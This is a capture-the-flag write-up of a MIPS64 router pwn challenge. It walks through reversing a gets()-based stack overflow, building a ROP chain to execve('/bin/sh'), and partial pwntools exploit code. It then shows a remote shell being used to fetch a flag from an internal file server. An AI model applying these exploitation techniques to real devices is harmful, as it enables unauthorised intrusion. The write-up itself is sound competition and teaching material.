Itsy Mipsy Router is a pwn challenge I did during the FCSC event. It’s not a very hard challenge but I found it very interesting because it was my first mips pwn challenge !
Setup
So basically we got this:
On vous demander d’auditer un routeur à l’interface entre Internet et un réseau interne d’une entreprise. Le client vous demande si il est possible de lire les fichiers stockés sur la machine filer qui sert de serveur de fichiers HTTP. nc challenges2.france-cybersecurity-challenge.fr 4005
And for debugging purposes administrators provided a Docker file:
1 2 3 4 5 6 7 8 9 10 11 12 13
FROM debian:buster-slim RUN apt update RUN apt install -yq socat qemu-user libc6-mips64-cross RUN apt clean RUN rm -rf /var/lib/apt/lists/
WORKDIR /app COPY ./mipsy ./ RUN rm /etc/ld.so.cache
So because it’s not very convenient to debug it from the docker I tried to run it directly on my host with a gdb stub on port 5445. I setup my host by installing the right packages, deleting /etc/ld.so.cache and by the socat command on port 4000:
1 2 3 4 5 6 7 8 9 10 11 12
$ uname -a Linux off 5.8.0-50-generic #56~20.04.1-Ubuntu SMP Mon Apr 12 21:46:35 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux $ sudo apt install socat qemu-user libc6-mips64-cross Lecture des listes de paquets... Fait Construction de l'arbre des dépendances Lecture des informations d'état... Fait socat est déjà la version la plus récente (1.7.3.3-2). libc6-mips64-cross est déjà la version la plus récente (2.30-0ubuntu2cross2). qemu-user est déjà la version la plus récente (1:4.2-3ubuntu6.15). 0 mis à jour, 0 nouvellement installés, 0 à enlever et 17 non mis à jour. $ sudo rm -f /etc/ld.so.cache $ socat tcp-listen:4000,reuseaddr,fork exec:"qemu-mips64 -L /usr/mips64-linux-gnuabi64 -g 5445 ./mipsy"
We can debug the running process with gdb-multiarch (with the path of my pwndbg’s gdbinit to get an cleaner output).
1 2 3 4 5 6 7
$ gdb-multiarch -ex 'source /media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/Downloads/pwndbg/gdbinit.py' -q ./mipsy Reading symbols from ./mipsy... (No debugging symbols found in ./mipsy) pwndbg: loaded 196 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) pwndbg> target remote localhost:5445
Remote debugging using localhost:5445 warning: Unable to find dynamic linker breakpoint function. GDB will be unable to debug shared library initializers and track explicitly loaded dynamic code. 0x00000040008038d0 in ?? () Could not check ASLR: Couldn't get personality Downloading '/media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ctf/fcsc/pwn/mipsy/mipsy' from the remote server: OK add-symbol-file /tmp/tmpsjb8mqsa/mipsy 0x120000000 -s .MIPS.abiflags 0x2400002e0 -s .MIPS.options 0x2400002f8 -s .note.gnu.build-id 0x240000870 -s .dynamic 0x240000898 -s .hash 0x240000aa8 -s .dynsym 0x240001190 -s .dynstr 0x240002858 -s .gnu.version 0x240003b12 -s .gnu.version_r 0x240003cf8 -s .rel.dyn 0x240003d38 -s .init 0x240003d58 -s .text 0x240003de0 -s .MIPS.stubs 0x2400257a0 -s .fini 0x2400259c0 -s .rodata 0x240025a10 -s .interp 0x24002d280 -s .eh_frame_hdr 0x24002d290 -s .eh_frame 0x24002d2a8 -s .note.ABI-tag 0x24002d2e0 -s .ctors 0x24003df58 -s .dtors 0x24003df68 -s .data.rel.ro 0x24003df78 -s .data 0x240040000 -s .rld_map 0x240040020 -s .got 0x240040030 -s .sdata 0x240040840 -s .bss 0x240040850 'context': Print out the current register, instruction, and stack context. Exception occurred: context: unsupported operand type(s) for +: 'NoneType' and 'int' (<class 'TypeError'>) For more info invoke `set exception-verbose on` and rerun the command or debug it by yourself with `set exception-debugger on` pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x120000000 0x12002e000 r-xp 2e000 0 /media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ctf/fcsc/pwn/mipsy/mipsy 0x12002e000 0x12003d000 ---p f000 2d000 /media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ctf/fcsc/pwn/mipsy/mipsy 0x12003d000 0x120040000 r--p 3000 2d000 /media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ctf/fcsc/pwn/mipsy/mipsy 0x120040000 0x120043000 rw-p 3000 30000 /media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ctf/fcsc/pwn/mipsy/mipsy 0x4000403000 0x4000828000 r--p 425000 0 <explored> 0x40007fe000 0x4000801000 rw-p 3000 0 [stack]
[QEMU target detected - vmmap result might not be accurate; see `help vmmap`] pwndbg> continue Continuing. warning: Could not load shared library symbols for 2 libraries, e.g. /lib/libc.so.6. Use the "info sharedlibrary" command to see the complete listing. Do you need "set solib-search-path" or "set sysroot"? [Inferior 1 (process 1) exited normally]
The process exited because we didn’t inserted any breakpoints and so our python script outs this:
Menu: 0. Quit. 1. Show network interfaces 2. Ping internal HTTP file server 3. Log in as admin
[guest@mipsy]
We’re able to debug properly our process !
Reverse Engineering
We can take a look at the binary by running the file command:
1 2
$ file mipsy mipsy: ELF 64-bit MSB executable, MIPS, MIPS64 rel2 version 1 (SYSV), dynamically linked, interpreter /lib64/ld.so.1, BuildID[sha1]=e20cf7872e96482095ce68e6d4d03806d5928de4, for GNU/Linux 3.2.0, not stripped
So it’s a mips64 big endian binary dynamically linked. As we see above, the program is asking for an input among 4 options: Quit, Show network interfaces, Ping internal HTTP file server and Login as admin. We can test these options remotely:
Menu: 0. Quit. 1. Show network interfaces 2. Ping internal HTTP file server 3. Log in as admin
[guest@mipsy] $ 0
It doesn’t give any interesting informations so instead of fuzzing manually the binary to find the vulnerability, I reversed the main functions in IDA. And particulary the code of the the function corresponding to the “Login as admin” feature. The assembly code of this function looks like such:
daddiu $sp, -0x90 ; Doubleword Add Immediate Unsigned sd $ra, 0x90+ret_addr($sp) ; Store Doubleword sd $fp, 0x90+var_10($sp) ; Store Doubleword sd $gp, 0x90+var_18($sp) ; Store Doubleword move $fp, $sp lui $gp, 4 ; Load Upper Immediate daddu $gp, $t9 ; Doubleword Add Unsigned daddiu $gp, 0x3AA4 ; Doubleword Add Immediate Unsigned dli $v0, 0x120020000 ; Doubleword Load Immediate daddiu $a0, $v0, (aInputYourPassw - 0x120020000) ; "Input your password:" dla $v0, puts ; Load 64-bit address move $t9, $v0 jalr $t9 ; puts ; Jump And Link Register nop dli $v0, 0x120020000 ; Doubleword Load Immediate daddiu $a0, $v0, (asc_120025B00 - 0x120020000) ; ">>> " dla $v0, printf ; Load 64-bit address move $t9, $v0 jalr $t9 ; printf ; Jump And Link Register nop dla $v0, stdout ; Load 64-bit address ld $v0, (stdout - 0x120042BC8)($v0) ; Load Doubleword move $a0, $v0 ; stream dla $v0, fflush ; Load 64-bit address move $t9, $v0 jalr $t9 ; fflush ; Jump And Link Register nop move $a0, $fp dla $v0, gets ; Load 64-bit address move $t9, $v0 jalr $t9 ; gets ; Jump And Link Register nop daddiu $v0, $fp, 0x50 ; Doubleword Add Immediate Unsigned li $a2, 0x20 ; ' ' ; n move $a1, $zero ; c move $a0, $v0 ; s dla $v0, memset ; Load 64-bit address move $t9, $v0 jalr $t9 ; memset ; Jump And Link Register nop move $a0, $fp ; s dla $v0, strlen ; Load 64-bit address move $t9, $v0 jalr $t9 ; strlen ; Jump And Link Register nop daddiu $v1, $fp, 0x50 ; Doubleword Add Immediate Unsigned move $a2, $v1 move $a1, $v0 move $a0, $fp dla $v0, kdf ; Load 64-bit address move $t9, $v0 bal kdf ; Branch Always and Link nop daddiu $v1, $fp, 0x50 ; Doubleword Add Immediate Unsigned li $a2, 0x20 ; ' ' ; n dli $v0, 0x120020000 ; Doubleword Load Immediate daddiu $a1, $v0, (unk_120025B08 - 0x120020000) ; s2 move $a0, $v1 ; s1 dla $v0, memcmp ; Load 64-bit address move $t9, $v0 jalr $t9 ; memcmp ; Jump And Link Register nop bnez $v0, loc_120004688 ; Branch on Not Zero
When I began this challenge I didn’t know anything about mips64 assembly but thanks to auto comments in IDA and to this and this, I understood very quickly the main components of the architecture. And that’s why I noticed a call to the gets function which as it’s known read an arbitrary number of bytes from stdin to the buffer indicated in argument, and so in our case in $fp, which is initialized to $sp-0x90. Next the call to gets, printf and fflush, it calls memset to set every bytes of another buffer allocated next to our input to zero. Then it computes the length of our input and calls the kdf function with the following arguments: kdf(char *input_password, int input_length, unsigned char *out). The kdf function is basically doing some encryption operations according to our input and its length and stores the result in the third argument. And the result of this encryption routine is compared to a constant value with memcmp.
So we discovered the stack based buffer overflow which allows us to overwrite the saved instruction pointer saved at the functions’s prologue.
Exploitation
Since we understood the vulnerable function, we can represent the stackframe like that:
And so, according to this schema, we overwrite the saved $ra from a padding of 0x90-0x8=0x88 bytes. But since we’re able to jmp everywhere, we have to figure out what kind of technique we want to use.
One gadget ?
For an obsure reason, I thought the gets function had for badchar the NULL byte, so I was looking for a one gadget in the binary. I discovered during the reverse engineering part an interesting snippet of code:
It’s a part of the ip function, called when we trigger the “Show network interfaces” option. When I saw at the begin of the function, some local variables like a pointer to the "/bin/sh" string and a block of code which executes especially execve("/bin/sh", "-c", NULL). Since I discovered this basic block I thought I should have to jump around it with the right stackframe. But after a few hours I figured out it wasn’t possible :(. And figured out too that the NULL byte isn’t a badchar :).
ROPchain
Now we’re able to craft a ropchain with only one badchar: “\n”. To do so we can launch ROPgadget to find some suitable gadgets:
1
$ ROPgadget --binary mipsy > gadgets
On mips architechture there is no ret or pop instructions, to handle this issue we use gadgets which load directly a 64 bit value stored in the stack into a register like this:
1
ld $a0, 0x8($sp) ; It will read the doubleword in $sp+8 to load it in the $a0 register.
And to return we need to find a load on a register like $t9 which is often used to resolve and call extern functions or on $ra which is the standard register used to store the address of the calling function.
And that’s why it’s too hard to find automatically gadgets for mips binaries. But fortunately, ROPgadgets finds a a great amount of gadgets which helps us a lot.
The exploitation would be for me to jmp to the execve’s call with the right context. The code looks like such:
set $gp, the global pointer to the right value to be able do execute the dla instruction.
An important thing to notice is that on mips architechture, when an instruction is executed the next instruction is too executed despite of the result of the current instruction. So when we will choose our gadgets, we need to be careful according to the instruction after the control flow instruction.
And the good value for $gp is a constant from which the dla instruction addresses memory areas. And if we check the value of $gp in gdb, we got: 0x120048020.
To control the $v1 register we can grep on the gadgets found by ROPgadget:
1
$ grep "ld \$v0, " gadgets | grep \$sp
Then we got a lot of candidate which are not efficient. And if we’re very careful we find an interesting gadget:
It’s a gadget a bit more hard to understand but we just have to take care to: do not write $v0, control the value of $v9 to jump on, control the value of $v1. And so this gadget is a good candidate.
Finally we need to control the value of the $gp register but to achieve that we do not need to use a gadget, because we already control it thanks to the vuln epilogue:
For the pruposes of mips exploitation I developped a small function in python which inserts automatically a value at an arbitrary offset.
1 2 3 4 5 6 7 8 9 10 11 12 13
defmake_pld(s, val, pos): iflen(s) == pos: print(f"[*] Gadget: s += {val}") s += val return s eliflen(s) > pos: print(f"[*] Gadget: {s[:pos-1]} + {val} + {s[pos-1+len(val):]}") s = s[:pos-1] + val + s[pos-1+len(val):] return s eliflen(s) < pos: k = "\x00"*(pos-len(s)) print(f"[*] Gadget: {s} + {k} + {val}") return s + b"\x00"*(pos-len(s)) + val
It’s very useful because we are then able to give the right offset about the stack pointer when we execute the gadgets. We can begin by overwriting the value of the saved $gp and $ra:
BASE_RSP is the offset of the input’s buffer about the $sp address when we return and so when we start to execute some gadgets. We indicate the gadget to execute which is the gadget which sets $v1 register to zero.
Then we can put the right value in $v1 by looking at the SET_V1 gadget which loads the doubleword in 0x80($sp) in $v1. So we have to add to our payload:
And we have to set the right value for the next gadget to execute. The gadget loads the doubleword in 0xe0($sp) in $t9 and then jmp on, so we can add our SET_V0 gadget to be then executed:
We repeat the same operation for the SET_V0 gadget by setting a pointer to '/bin/sh' in 0x210($sp) and the address of the final execve call in 0x228($sp):
#!/usr/bin/python3 from pwn import ELF, context, remote, p64
BINSH = 0x120025A20
e = ELF('mipsy')
context.bits = 64# mips64 context.arch = "mips" context.endian = "big"# Not a mipsel binary
defmake_pld(s, val, pos): iflen(s) == pos: s += val return s eliflen(s) > pos: s = s[:pos-1] + val + s[pos-1+len(val):] return s eliflen(s) < pos: k = "\x00"*(pos-len(s)) return s + b"\x00"*(pos-len(s)) + val
According to the statements we need to read some files stored on the filer machine. So firstly let’s run the exploit to get the shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
$ ./solve.py [!] Could not emulate PLT instructions for ELF('mipsy/mipsy') [!] Could not populate PLT: not enough values to unpack (expected 2, got 0) [*] 'mipsy/mipsy' Arch: mips64-64-big RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x120000000) RWX: Has RWX segments [+] Opening connection to challenges2.france-cybersecurity-challenge.fr on port 4005: Done [*] Switching to interactive mode Error: wrong password. $ id uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) $ ls list_interfaces.sh mipsy $
We see no flag, so according to the statements maybe we have to curl the filer machine which seems to be a HTTP server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
$ curl filer <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Directory listing for /</title> </head> <body> <h1>Directory listing for /</h1> <hr> <ul> <li><a href="flag">flag</a></li> </ul> <hr> </body> </html>
It’s a directory listing of the files stored in filer, and so we just have to curl filer/flag to get the flag: